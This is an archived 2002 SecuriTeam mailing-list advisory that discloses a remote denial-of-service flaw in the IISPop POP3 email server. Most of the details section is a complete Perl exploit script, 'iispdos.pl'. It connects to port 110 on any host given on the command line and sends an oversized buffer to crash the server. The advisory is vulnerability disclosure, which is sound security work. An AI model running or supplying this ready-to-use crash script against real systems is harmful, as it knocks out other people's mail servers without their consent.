[NT] IISPop Remote DoS

From: support@securiteam.com
Date: 11/17/02

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    From: support@securiteam.com
To: list@securiteam.com
Date: 17 Nov 2002 21:15:15 +0200

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
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      IISPop Remote DoS
    ------------------------------------------------------------------------

    SUMMARY

     <http://www.curtiscomp.com/> IISPop Email Server was designed for small
    networks. This POP3 only server was designed to be paired with the SMTP
    server bundled running under the Windows 2000 operating system. A
    vulnerability in the product allows remote attackers to cause the server
    to crash by sending it a large buffer.

    DETAILS

    Vulnerable systems:
     * IISPop version 1.161 and 1.181

    Exploit:
    #!/usr/bin/perl -w
    # tool : iispdos.pl
    # shutdown all version of IISPop
    # greetz crack.fr , marocit ,christal
    #
     
    use IO::Socket;

    $ARGC=@ARGV;
    if ($ARGC !=1) {
    print "\n-->";
     print "\tUsage: perl iispdos.pl <host> \n";
    exit;
    }

    $remo = $ARGV[0];
    $buffer = "A" x 289999;

    print "\n-->";
    print "\tconnection with $remo\n";
    unless ($so = IO::Socket::INET->new (Proto => "TCP",
    PeerAddr => $remo,
    PeerPort
    => "110"))
    {
     print "-->";
     print "\tConnection Failed...\n";
     exit;
    }
    print $so "$buffer\n";
    close $so;

    print "-->";
    print "\tnow test if the distant host is down\n";
    exit;

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:securma@caramail.com>
    securma massine.

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